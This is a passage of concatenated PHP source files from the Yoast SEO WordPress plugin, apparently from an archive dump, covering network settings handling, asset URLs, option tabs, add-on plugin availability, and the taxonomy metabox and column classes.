network. */ add_settings_error( $option_group, 'settings_updated', sprintf( __( '%s restored to default SEO settings.', 'wordpress-seo' ), esc_html( $site->blogname ) ), 'updated' ); } $this->terminate_request(); } /** * Outputs nonce, action and option group fields for a network settings page in the plugin. * * @param string $option_group Option group name for the current page. * * @return void */ public function settings_fields( $option_group ) { ?> enqueue_script( 'network-admin' ); $translations = [ /* translators: %s: success message */ 'success_prefix' => __( 'Success: %s', 'wordpress-seo' ), /* translators: %s: error message */ 'error_prefix' => __( 'Error: %s', 'wordpress-seo' ), ]; $asset_manager->localize_script( 'network-admin', 'wpseoNetworkAdminGlobalL10n', $translations ); } /** * Hooks in the necessary actions and filters. * * @return void */ public function register_hooks() { if ( ! $this->meets_requirements() ) { return; } add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); add_action( 'admin_action_' . self::UPDATE_OPTIONS_ACTION, [ $this, 'handle_update_options_request' ] ); add_action( 'admin_action_' . self::RESTORE_SITE_ACTION, [ $this, 'handle_restore_site_request' ] ); } /** * Hooks in the necessary AJAX actions. * * @return void */ public function register_ajax_hooks() { add_action( 'wp_ajax_' . self::UPDATE_OPTIONS_ACTION, [ $this, 'handle_update_options_request' ] ); add_action( 'wp_ajax_' . self::RESTORE_SITE_ACTION, [ $this, 'handle_restore_site_request' ] ); } /** * Checks whether the requirements to use this class are met. * * @return bool True if requirements are met, false otherwise. */ public function meets_requirements() { return is_multisite() && is_network_admin(); } /** * Verifies that the current request is valid. * * @param string $action Nonce action. * @param string $query_arg Optional. Nonce query argument. Default '_wpnonce'. * * @return void */ public function verify_request( $action, $query_arg = '_wpnonce' ) { $has_access = current_user_can( 'wpseo_manage_network_options' ); if ( wp_doing_ajax() ) { check_ajax_referer( $action, $query_arg ); if ( ! $has_access ) { wp_die( -1, 403 ); } return; } check_admin_referer( $action, $query_arg ); if ( ! $has_access ) { wp_die( esc_html__( 'You are not allowed to perform this action.', 'wordpress-seo' ) ); } } /** * Terminates the current request by either redirecting back or sending an AJAX response. * * @return void */ public function terminate_request() { if ( wp_doing_ajax() ) { $settings_errors = get_settings_errors(); if ( ! empty( $settings_errors ) && $settings_errors[0]['type'] === 'updated' ) { wp_send_json_success( $settings_errors, 200 ); } wp_send_json_error( $settings_errors, 400 ); } $this->persist_settings_errors(); $this->redirect_back( [ 'settings-updated' => 'true' ] ); } /** * Persists settings errors. * * Settings errors are stored in a transient for 30 seconds so that this transient * can be retrieved on the next page load. * * @return void */ protected function persist_settings_errors() { /* * A regular transient is used here, since it is automatically cleared right after the redirect. * A network transient would be cleaner, but would require a lot of copied code from core for * just a minor adjustment when displaying settings errors. */ set_transient( 'settings_errors', get_settings_errors(), 30 ); } /** * Redirects back to the referer URL, with optional query arguments. * * @param array $query_args Optional. Query arguments to add to the redirect URL. Default none. * * @return void */ protected function redirect_back( $query_args = [] ) { $sendback = wp_get_referer(); if ( ! empty( $query_args ) ) { $sendback = add_query_arg( $query_args, $sendback ); } wp_safe_redirect( $sendback ); exit; } } listeners/class-listener.php000064400000000460147207033440012221 0ustar00plugin_file = $plugin_file; $this->add_suffix = $add_suffix; } /** * Determines the URL of the asset on the dev server. * * @param WPSEO_Admin_Asset $asset The asset to determine the URL for. * @param string $type The type of asset. Usually JS or CSS. * * @return string The URL of the asset. */ public function get_url( WPSEO_Admin_Asset $asset, $type ) { $path = $this->get_path( $asset, $type ); if ( empty( $path ) ) { return ''; } return plugins_url( $path, $this->plugin_file ); } /** * Determines the path relative to the plugin folder of an asset. * * @param WPSEO_Admin_Asset $asset The asset to determine the path for. * @param string $type The type of asset. * * @return string The path to the asset file. */ protected function get_path( WPSEO_Admin_Asset $asset, $type ) { $relative_path = ''; $rtl_suffix = ''; switch ( $type ) { case WPSEO_Admin_Asset::TYPE_JS: $relative_path = 'js/dist/' . $asset->get_src(); if ( $this->add_suffix ) { $relative_path .= $asset->get_suffix() . '.js'; } break; case WPSEO_Admin_Asset::TYPE_CSS: // Path and suffix for RTL stylesheets. if ( is_rtl() && $asset->has_rtl() ) { $rtl_suffix = '-rtl'; } $relative_path = 'css/dist/' . $asset->get_src() . $rtl_suffix . $asset->get_suffix() . '.css'; break; } return $relative_path; } } class-option-tabs.php000064400000004407147207033440010630 0ustar00base = sanitize_title( $base ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $tab = isset( $_GET['tab'] ) && is_string( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : ''; $this->active_tab = empty( $tab ) ? $active_tab : $tab; } /** * Get the base. * * @return string */ public function get_base() { return $this->base; } /** * Add a tab. * * @param WPSEO_Option_Tab $tab Tab to add. * * @return $this */ public function add_tab( WPSEO_Option_Tab $tab ) { $this->tabs[] = $tab; return $this; } /** * Get active tab. * * @return WPSEO_Option_Tab|null Get the active tab. */ public function get_active_tab() { if ( empty( $this->active_tab ) ) { return null; } $active_tabs = array_filter( $this->tabs, [ $this, 'is_active_tab' ] ); if ( ! empty( $active_tabs ) ) { $active_tabs = array_values( $active_tabs ); if ( count( $active_tabs ) === 1 ) { return $active_tabs[0]; } } return null; } /** * Is the tab the active tab. * * @param WPSEO_Option_Tab $tab Tab to check for active tab. * * @return bool */ public function is_active_tab( WPSEO_Option_Tab $tab ) { return ( $tab->get_name() === $this->active_tab ); } /** * Get all tabs. * * @return WPSEO_Option_Tab[] */ public function get_tabs() { return $this->tabs; } /** * Display the tabs. * * @param Yoast_Form $yform Yoast Form needed in the views. * * @return void */ public function display( Yoast_Form $yform ) { $formatter = new WPSEO_Option_Tabs_Formatter(); $formatter->run( $this, $yform ); } } exceptions/class-file-size-exception.php000064400000002102147207033440014423 0ustar00register_yoast_plugins(); $this->register_yoast_plugins_status(); } /** * Registers all the available Yoast SEO plugins. * * @return void */ protected function register_yoast_plugins() { $this->plugins = [ 'yoast-seo-premium' => [ 'url' => WPSEO_Shortlinker::get( 'https://yoa.st/1y7' ), 'title' => 'Yoast SEO Premium', 'description' => sprintf( /* translators: %1$s expands to Yoast SEO */ __( 'The premium version of %1$s with more features & support.', 'wordpress-seo' ), 'Yoast SEO' ), 'installed' => false, 'slug' => 'wordpress-seo-premium/wp-seo-premium.php', 'version_sync' => true, 'premium' => true, ], 'video-seo-for-wordpress-seo-by-yoast' => [ 'url' => WPSEO_Shortlinker::get( 'https://yoa.st/1y8' ), 'title' => 'Video SEO', 'description' => __( 'Optimize your videos to show them off in search results and get more clicks!', 'wordpress-seo' ), 'installed' => false, 'slug' => 'wpseo-video/video-seo.php', 'version_sync' => true, 'premium' => true, ], 'yoast-news-seo' => [ 'url' => WPSEO_Shortlinker::get( 'https://yoa.st/1y9' ), 'title' => 'News SEO', 'description' => __( 'Are you in Google News? Increase your traffic from Google News by optimizing for it!', 'wordpress-seo' ), 'installed' => false, 'slug' => 'wpseo-news/wpseo-news.php', 'version_sync' => true, 'premium' => true, ], 'local-seo-for-yoast-seo' => [ 'url' => WPSEO_Shortlinker::get( 'https://yoa.st/1ya' ), 'title' => 'Local SEO', 'description' => __( 'Rank better locally and in Google Maps, without breaking a sweat!', 'wordpress-seo' ), 'installed' => false, 'slug' => 'wordpress-seo-local/local-seo.php', 'version_sync' => true, 'premium' => true, ], 'yoast-woocommerce-seo' => [ 'url' => WPSEO_Shortlinker::get( 'https://yoa.st/1o0' ), 'title' => 'Yoast WooCommerce SEO', 'description' => sprintf( /* translators: %1$s expands to Yoast SEO */ __( 'Seamlessly integrate WooCommerce with %1$s and get extra features!', 'wordpress-seo' ), 'Yoast SEO' ), '_dependencies' => [ 'WooCommerce' => [ 'slug' => 'woocommerce/woocommerce.php', // Kept for backwards compatibility, in case external code uses get_dependencies(). Deprecated in 22.4. 'conditional' => new WooCommerce_Conditional(), ], ], 'installed' => false, 'slug' => 'wpseo-woocommerce/wpseo-woocommerce.php', 'version_sync' => true, 'premium' => true, ], ]; } /** * Sets certain plugin properties based on WordPress' status. * * @return void */ protected function register_yoast_plugins_status() { foreach ( $this->plugins as $name => $plugin ) { $plugin_slug = $plugin['slug']; $plugin_path = WP_PLUGIN_DIR . '/' . $plugin_slug; if ( file_exists( $plugin_path ) ) { $plugin_data = get_plugin_data( $plugin_path, false, false ); $this->plugins[ $name ]['installed'] = true; $this->plugins[ $name ]['version'] = $plugin_data['Version']; $this->plugins[ $name ]['active'] = is_plugin_active( $plugin_slug ); } } } /** * Checks if there are dependencies available for the plugin. * * @param array $plugin The information available about the plugin. * * @return bool Whether there is a dependency present. */ public function has_dependencies( $plugin ) { return ( isset( $plugin['_dependencies'] ) && ! empty( $plugin['_dependencies'] ) ); } /** * Gets the dependencies for the plugin. * * @param array $plugin The information available about the plugin. * * @return array Array containing all the dependencies associated with the plugin. */ public function get_dependencies( $plugin ) { if ( ! $this->has_dependencies( $plugin ) ) { return []; } return $plugin['_dependencies']; } /** * Checks if all dependencies are satisfied. * * @param array $plugin The information available about the plugin. * * @return bool Whether or not the dependencies are satisfied. */ public function dependencies_are_satisfied( $plugin ) { if ( ! $this->has_dependencies( $plugin ) ) { return true; } $dependencies = $this->get_dependencies( $plugin ); $active_dependencies = array_filter( $dependencies, [ $this, 'is_dependency_active' ] ); return count( $active_dependencies ) === count( $dependencies ); } /** * Checks whether or not one of the plugins is properly installed and usable. * * @param array $plugin The information available about the plugin. * * @return bool Whether or not the plugin is properly installed. */ public function is_installed( $plugin ) { if ( empty( $plugin ) ) { return false; } return $this->is_available( $plugin ); } /** * Checks for the availability of the plugin. * * @param array $plugin The information available about the plugin. * * @return bool Whether or not the plugin is available. */ public function is_available( $plugin ) { return isset( $plugin['installed'] ) && $plugin['installed'] === true; } /** * Checks whether a dependency is active. * * @param array $dependency The information about the dependency to look for. * * @return bool Whether or not the dependency is active. */ public function is_dependency_active( $dependency ) { return $dependency['conditional']->is_met(); } /** * Gets an array of plugins that have defined dependencies. * * @return array Array of the plugins that have dependencies. */ public function get_plugins_with_dependencies() { return array_filter( $this->plugins, [ $this, 'has_dependencies' ] ); } /** * Determines whether or not a plugin is active. * * @param string $plugin The plugin slug to check. * * @return bool Whether or not the plugin is active. * * @deprecated 23.4 * @codeCoverageIgnore */ public function is_active( $plugin ) { _deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'is_plugin_active' ); return is_plugin_active( $plugin ); } /** * Gets all the possibly available plugins. * * @return array Array containing the information about the plugins. * * @deprecated 23.4 * @codeCoverageIgnore */ public function get_plugins() { _deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_addon_filenames' ); return $this->plugins; } /** * Gets a specific plugin. Returns an empty array if it cannot be found. * * @param string $plugin The plugin to search for. * * @return array The plugin properties. * * @deprecated 23.4 * @codeCoverageIgnore */ public function get_plugin( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons _deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_plugin_file' ); if ( ! isset( $this->plugins[ $plugin ] ) ) { return []; } return $this->plugins[ $plugin ]; } /** * Gets the version of the plugin. * * @param array $plugin The information available about the plugin. * * @return string The version associated with the plugin. * * @deprecated 23.4 * @codeCoverageIgnore */ public function get_version( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons _deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_installed_addons_versions' ); if ( ! isset( $plugin['version'] ) ) { return ''; } return $plugin['version']; } /** * Checks whether a dependency is available. * * @param array $dependency The information about the dependency to look for. * * @return bool Whether or not the dependency is available. * @deprecated 22.4 * @codeCoverageIgnore */ public function is_dependency_available( $dependency ) { _deprecated_function( __METHOD__, 'Yoast SEO 22.4' ); return isset( get_plugins()[ $dependency['slug'] ] ); } /** * Gets the names of the dependencies. * * @param array $plugin The plugin to get the dependency names from. * * @return array Array containing the names of the associated dependencies. * @deprecated 23.4 * @codeCoverageIgnore */ public function get_dependency_names( $plugin ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- needed for BC reasons _deprecated_function( __METHOD__, 'Yoast SEO 23.4' ); if ( ! $this->has_dependencies( $plugin ) ) { return []; } return array_keys( $plugin['_dependencies'] ); } /** * Determines whether or not a plugin is a Premium product. * * @param array $plugin The plugin to check. * * @return bool Whether or not the plugin is a Premium product. * * @deprecated 23.4 * @codeCoverageIgnore */ public function is_premium( $plugin ) { _deprecated_function( __METHOD__, 'Yoast SEO 23.4' ); return isset( $plugin['premium'] ) && $plugin['premium'] === true; } /** * Gets all installed plugins. * * @return array The installed plugins. * * @deprecated 23.4 * @codeCoverageIgnore */ public function get_installed_plugins() { _deprecated_function( __METHOD__, 'Yoast SEO 23.4', 'WPSEO_Addon_Manager::get_installed_addons_versions' ); $installed = []; foreach ( $this->plugins as $plugin_key => $plugin ) { if ( $this->is_installed( $plugin ) ) { $installed[ $plugin_key ] = $plugin; } } return $installed; } } class-collector.php000064400000001755147207033440010362 0ustar00collections[] = $collection; } /** * Collects the data from the collection objects. * * @return array The collected data. */ public function collect() { $data = []; foreach ( $this->collections as $collection ) { $data = array_merge( $data, $collection->get() ); } return $data; } /** * Returns the collected data as a JSON encoded string. * * @return false|string The encode string. */ public function get_as_json() { return WPSEO_Utils::format_json_encode( $this->collect() ); } } taxonomy/class-taxonomy.php000064400000034466147207033440012135 0ustar00taxonomy = $this::get_taxonomy(); add_action( 'edit_term', [ $this, 'update_term' ], 99, 3 ); add_action( 'init', [ $this, 'custom_category_descriptions_allow_html' ] ); add_action( 'admin_init', [ $this, 'admin_init' ] ); if ( self::is_term_overview( $GLOBALS['pagenow'] ) ) { new WPSEO_Taxonomy_Columns(); } $this->analysis_seo = new WPSEO_Metabox_Analysis_SEO(); $this->analysis_readability = new WPSEO_Metabox_Analysis_Readability(); $this->analysis_inclusive_language = new WPSEO_Metabox_Analysis_Inclusive_Language(); } /** * Add hooks late enough for taxonomy object to be available for checks. * * @return void */ public function admin_init() { $taxonomy = get_taxonomy( $this->taxonomy ); if ( empty( $taxonomy ) || empty( $taxonomy->public ) || ! $this->show_metabox() ) { return; } // Adds custom category description editor. Needs a hook that runs before the description field. add_action( "{$this->taxonomy}_term_edit_form_top", [ $this, 'custom_category_description_editor' ] ); add_action( sanitize_text_field( $this->taxonomy ) . '_edit_form', [ $this, 'term_metabox' ], 90, 1 ); add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] ); } /** * Show the SEO inputs for term. * * @param stdClass|WP_Term $term Term to show the edit boxes for. * * @return void */ public function term_metabox( $term ) { if ( WPSEO_Metabox::is_internet_explorer() ) { $this->show_internet_explorer_notice(); return; } $metabox = new WPSEO_Taxonomy_Metabox( $this->taxonomy, $term ); $metabox->display(); } /** * Renders the content for the internet explorer metabox. * * @return void */ private function show_internet_explorer_notice() { $product_title = YoastSEO()->helpers->product->get_product_name(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $product_title is hardcoded. printf( '

    %1$s

    ', $product_title ); echo '
    '; $content = sprintf( /* translators: 1: Link start tag to the Firefox website, 2: Link start tag to the Chrome website, 3: Link start tag to the Edge website, 4: Link closing tag. */ esc_html__( 'The browser you are currently using is unfortunately rather dated. Since we strive to give you the best experience possible, we no longer support this browser. Instead, please use %1$sFirefox%4$s, %2$sChrome%4$s or %3$sMicrosoft Edge%4$s.', 'wordpress-seo' ), '', '', '', '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above. echo new Alert_Presenter( $content ); echo '
    '; } /** * Queue assets for taxonomy screens. * * @since 1.5.0 * * @return void */ public function admin_enqueue_scripts() { $pagenow = $GLOBALS['pagenow']; if ( ! ( self::is_term_edit( $pagenow ) || self::is_term_overview( $pagenow ) ) ) { return; } $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'scoring' ); $asset_manager->enqueue_style( 'monorepo' ); $tag_id = $this::get_tag_id(); if ( self::is_term_edit( $pagenow ) && ! is_null( $tag_id ) ) { wp_enqueue_media(); // Enqueue files needed for upload functionality. $asset_manager->enqueue_style( 'metabox-css' ); $asset_manager->enqueue_style( 'ai-generator' ); $asset_manager->enqueue_script( 'term-edit' ); /** * Remove the emoji script as it is incompatible with both React and any * contenteditable fields. */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); $asset_manager->localize_script( 'term-edit', 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() ); $script_data = [ 'analysis' => [ 'plugins' => [ 'replaceVars' => [ 'replace_vars' => $this->get_replace_vars(), 'recommended_replace_vars' => $this->get_recommended_replace_vars(), 'scope' => $this->determine_scope(), ], 'shortcodes' => [ 'wpseo_shortcode_tags' => $this->get_valid_shortcode_tags(), 'wpseo_filter_shortcodes_nonce' => wp_create_nonce( 'wpseo-filter-shortcodes' ), ], ], 'worker' => [ 'url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ), 'dependencies' => YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ), 'keywords_assessment_url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ), 'log_level' => WPSEO_Utils::get_analysis_worker_log_level(), ], ], 'metabox' => $this->localize_term_scraper_script( $tag_id ), 'isTerm' => true, 'postId' => $tag_id, 'termType' => $this->get_taxonomy(), 'usedKeywordsNonce' => wp_create_nonce( 'wpseo-keyword-usage' ), ]; /** * The website information repository. * * @var $repo Website_Information_Repository */ $repo = YoastSEO()->classes->get( Website_Information_Repository::class ); $term_information = $repo->get_term_site_information(); $term_information->set_term( get_term_by( 'id', $tag_id, $this::get_taxonomy() ) ); $script_data = array_merge_recursive( $term_information->get_legacy_site_information(), $script_data ); $asset_manager->localize_script( 'term-edit', 'wpseoScriptData', $script_data ); $asset_manager->enqueue_user_language_script(); } if ( self::is_term_overview( $pagenow ) ) { $asset_manager->enqueue_script( 'edit-page' ); } } /** * Update the taxonomy meta data on save. * * @param int $term_id ID of the term to save data for. * @param int $tt_id The taxonomy_term_id for the term. * @param string $taxonomy The taxonomy the term belongs to. * * @return void */ public function update_term( $term_id, $tt_id, $taxonomy ) { // Bail if this is a multisite installation and the site has been switched. if ( is_multisite() && ms_is_switched() ) { return; } /* Create post array with only our values. */ $new_meta_data = []; foreach ( WPSEO_Taxonomy_Meta::$defaults_per_term as $key => $default ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce is already checked by WordPress before executing this action. if ( isset( $_POST[ $key ] ) && is_string( $_POST[ $key ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: $data is getting sanitized later. $data = wp_unslash( $_POST[ $key ] ); $new_meta_data[ $key ] = ( $key !== 'wpseo_canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data ); } // If analysis is disabled remove that analysis score value from the DB. if ( $this->is_meta_value_disabled( $key ) ) { $new_meta_data[ $key ] = ''; } } // Saving the values. WPSEO_Taxonomy_Meta::set_values( $term_id, $taxonomy, $new_meta_data ); } /** * Determines if the given meta value key is disabled. * * @param string $key The key of the meta value. * @return bool Whether the given meta value key is disabled. */ public function is_meta_value_disabled( $key ) { if ( $key === 'wpseo_linkdex' && ! $this->analysis_seo->is_enabled() ) { return true; } if ( $key === 'wpseo_content_score' && ! $this->analysis_readability->is_enabled() ) { return true; } if ( $key === 'wpseo_inclusive_language_score' && ! $this->analysis_inclusive_language->is_enabled() ) { return true; } return false; } /** * Allows post-kses-filtered HTML in term descriptions. * * @return void */ public function custom_category_descriptions_allow_html() { remove_filter( 'term_description', 'wp_kses_data' ); remove_filter( 'pre_term_description', 'wp_filter_kses' ); add_filter( 'term_description', 'wp_kses_post' ); add_filter( 'pre_term_description', 'wp_filter_post_kses' ); } /** * Output the WordPress editor. * * @return void */ public function custom_category_description_editor() { wp_editor( '', 'description' ); } /** * Pass variables to js for use with the term-scraper. * * @param int $term_id The ID of the term to localize the script for. * * @return array */ public function localize_term_scraper_script( $term_id ) { $term = get_term_by( 'id', $term_id, $this::get_taxonomy() ); $taxonomy = get_taxonomy( $term->taxonomy ); $term_formatter = new WPSEO_Metabox_Formatter( new WPSEO_Term_Metabox_Formatter( $taxonomy, $term ) ); return $term_formatter->get_values(); } /** * Pass some variables to js for replacing variables. * * @return array */ public function localize_replace_vars_script() { return [ 'replace_vars' => $this->get_replace_vars(), 'recommended_replace_vars' => $this->get_recommended_replace_vars(), 'scope' => $this->determine_scope(), ]; } /** * Determines the scope based on the current taxonomy. * This can be used by the replacevar plugin to determine if a replacement needs to be executed. * * @return string String decribing the current scope. */ private function determine_scope() { $taxonomy = $this::get_taxonomy(); if ( $taxonomy === 'category' ) { return 'category'; } if ( $taxonomy === 'post_tag' ) { return 'tag'; } return 'term'; } /** * Determines if a given page is the term overview page. * * @param string $page The string to check for the term overview page. * * @return bool */ public static function is_term_overview( $page ) { return $page === 'edit-tags.php'; } /** * Determines if a given page is the term edit page. * * @param string $page The string to check for the term edit page. * * @return bool */ public static function is_term_edit( $page ) { return $page === 'term.php'; } /** * Function to get the labels for the current taxonomy. * * @return object|null Labels for the current taxonomy or null if the taxonomy is not set. */ public static function get_labels() { $term = self::get_taxonomy(); if ( $term !== '' ) { $taxonomy = get_taxonomy( $term ); return $taxonomy->labels; } return null; } /** * Retrieves a template. * Check if metabox for current taxonomy should be displayed. * * @return bool */ private function show_metabox() { $option_key = 'display-metabox-tax-' . $this->taxonomy; return WPSEO_Options::get( $option_key ); } /** * Getting the taxonomy from the URL. * * @return string */ private static function get_taxonomy() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) ); } return ''; } /** * Get the current tag ID from the GET parameters. * * @return int|null the tag ID if it exists, null otherwise. */ private static function get_tag_id() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['tag_ID'] ) && is_string( $_GET['tag_ID'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer. $tag_id = (int) wp_unslash( $_GET['tag_ID'] ); if ( $tag_id > 0 ) { return $tag_id; } } return null; } /** * Prepares the replace vars for localization. * * @return array The replacement variables. */ private function get_replace_vars() { $term_id = $this::get_tag_id(); $term = get_term_by( 'id', $term_id, $this::get_taxonomy() ); $cached_replacement_vars = []; $vars_to_cache = [ 'date', 'id', 'sitename', 'sitedesc', 'sep', 'page', 'term_title', 'term_description', 'term_hierarchy', 'category_description', 'tag_description', 'searchphrase', 'currentyear', ]; foreach ( $vars_to_cache as $var ) { $cached_replacement_vars[ $var ] = wpseo_replace_vars( '%%' . $var . '%%', $term ); } return $cached_replacement_vars; } /** * Prepares the recommended replace vars for localization. * * @return array The recommended replacement variables. */ private function get_recommended_replace_vars() { $recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars(); $taxonomy = $this::get_taxonomy(); if ( $taxonomy === '' ) { return []; } // What is recommended depends on the current context. $page_type = $recommended_replace_vars->determine_for_term( $taxonomy ); return $recommended_replace_vars->get_recommended_replacevars_for( $page_type ); } /** * Returns an array with shortcode tags for all registered shortcodes. * * @return array Array with shortcode tags. */ private function get_valid_shortcode_tags() { $shortcode_tags = []; foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) { $shortcode_tags[] = $tag; } return $shortcode_tags; } } taxonomy/class-taxonomy-columns.php000064400000016007147207033440013602 0ustar00taxonomy = $this->get_taxonomy(); if ( ! empty( $this->taxonomy ) ) { add_filter( 'manage_edit-' . $this->taxonomy . '_columns', [ $this, 'add_columns' ] ); add_filter( 'manage_' . $this->taxonomy . '_custom_column', [ $this, 'parse_column' ], 10, 3 ); } $this->analysis_seo = new WPSEO_Metabox_Analysis_SEO(); $this->analysis_readability = new WPSEO_Metabox_Analysis_Readability(); $this->indexable_repository = YoastSEO()->classes->get( Indexable_Repository::class ); $this->score_icon_helper = YoastSEO()->helpers->score_icon; } /** * Adds an SEO score column to the terms table, right after the description column. * * @param array $columns Current set columns. * * @return array */ public function add_columns( array $columns ) { if ( $this->display_metabox( $this->taxonomy ) === false ) { return $columns; } $new_columns = []; foreach ( $columns as $column_name => $column_value ) { $new_columns[ $column_name ] = $column_value; if ( $column_name === 'description' && $this->analysis_seo->is_enabled() ) { $new_columns['wpseo-score'] = '' . __( 'SEO score', 'wordpress-seo' ) . ''; } if ( $column_name === 'description' && $this->analysis_readability->is_enabled() ) { $new_columns['wpseo-score-readability'] = '' . __( 'Readability score', 'wordpress-seo' ) . ''; } } return $new_columns; } /** * Parses the column. * * @param string $content The current content of the column. * @param string $column_name The name of the column. * @param int $term_id ID of requested taxonomy. * * @return string */ public function parse_column( $content, $column_name, $term_id ) { switch ( $column_name ) { case 'wpseo-score': return $this->get_score_value( $term_id ); case 'wpseo-score-readability': return $this->get_score_readability_value( $term_id ); } return $content; } /** * Retrieves the taxonomy from the $_GET or $_POST variable. * * @return string|null The current taxonomy or null when it is not set. */ public function get_current_taxonomy() { // phpcs:disable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( ! empty( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] === 'POST' ) { if ( isset( $_POST['taxonomy'] ) && is_string( $_POST['taxonomy'] ) ) { return sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) ); } } elseif ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) { return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) ); } // phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended return null; } /** * Returns the posted/get taxonomy value if it is set. * * @return string|null */ private function get_taxonomy() { // phpcs:disable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( wp_doing_ajax() ) { if ( isset( $_POST['taxonomy'] ) && is_string( $_POST['taxonomy'] ) ) { return sanitize_text_field( wp_unslash( $_POST['taxonomy'] ) ); } } elseif ( isset( $_GET['taxonomy'] ) && is_string( $_GET['taxonomy'] ) ) { return sanitize_text_field( wp_unslash( $_GET['taxonomy'] ) ); } // phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended return null; } /** * Parses the value for the score column. * * @param int $term_id ID of requested term. * * @return string */ private function get_score_value( $term_id ) { $indexable = $this->indexable_repository->find_by_id_and_type( (int) $term_id, 'term' ); return $this->score_icon_helper->for_seo( $indexable, '', __( 'Term is set to noindex.', 'wordpress-seo' ) ); } /** * Parses the value for the readability score column. * * @param int $term_id ID of the requested term. * * @return string The HTML for the readability score indicator. */ private function get_score_readability_value( $term_id ) { $score = (int) WPSEO_Taxonomy_Meta::get_term_meta( $term_id, $this->taxonomy, 'content_score' ); return $this->score_icon_helper->for_readability( $score ); } /** * Check if the taxonomy is indexable. * * @param mixed $term The current term. * * @return bool Whether the term is indexable. */ private function is_indexable( $term ) { // When the no_index value is not empty and not default, check if its value is index. $no_index = WPSEO_Taxonomy_Meta::get_term_meta( $term->term_id, $this->taxonomy, 'noindex' ); // Check if the default for taxonomy is empty (this will be index). if ( ! empty( $no_index ) && $no_index !== 'default' ) { return ( $no_index === 'index' ); } if ( is_object( $term ) ) { $no_index_key = 'noindex-tax-' . $term->taxonomy; // If the option is false, this means we want to index it. return WPSEO_Options::get( $no_index_key, false ) === false; } return true; } /** * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by * choice of the admin or because the taxonomy is not public. * * @since 7.0 * * @param string|null $taxonomy Optional. The taxonomy to test, defaults to the current taxonomy. * * @return bool Whether the meta box (and associated columns etc) should be hidden. */ private function display_metabox( $taxonomy = null ) { $current_taxonomy = $this->get_current_taxonomy(); if ( ! isset( $taxonomy ) && ! empty( $current_taxonomy ) ) { $taxonomy = $current_taxonomy; } return WPSEO_Utils::is_metabox_active( $taxonomy, 'taxonomy' ); } } taxonomy/class-taxonomy-fields.php000064400000012037147207033440013367 0ustar00get_content_fields(); break; case 'settings': $fields = $this->get_settings_fields(); break; case 'social': $fields = $this->get_social_fields(); break; } return $this->filter_hidden_fields( $fields ); } /** * Returns array with the fields for the general tab. * * @return array */ protected function get_content_fields() { $fields = [ 'title' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'desc' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'linkdex' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'content_score' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'inclusive_language_score' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'focuskw' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'is_cornerstone' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], ]; /** * Filter: 'wpseo_taxonomy_content_fields' - Adds the possibility to register additional content fields. * * @param array $additional_fields The 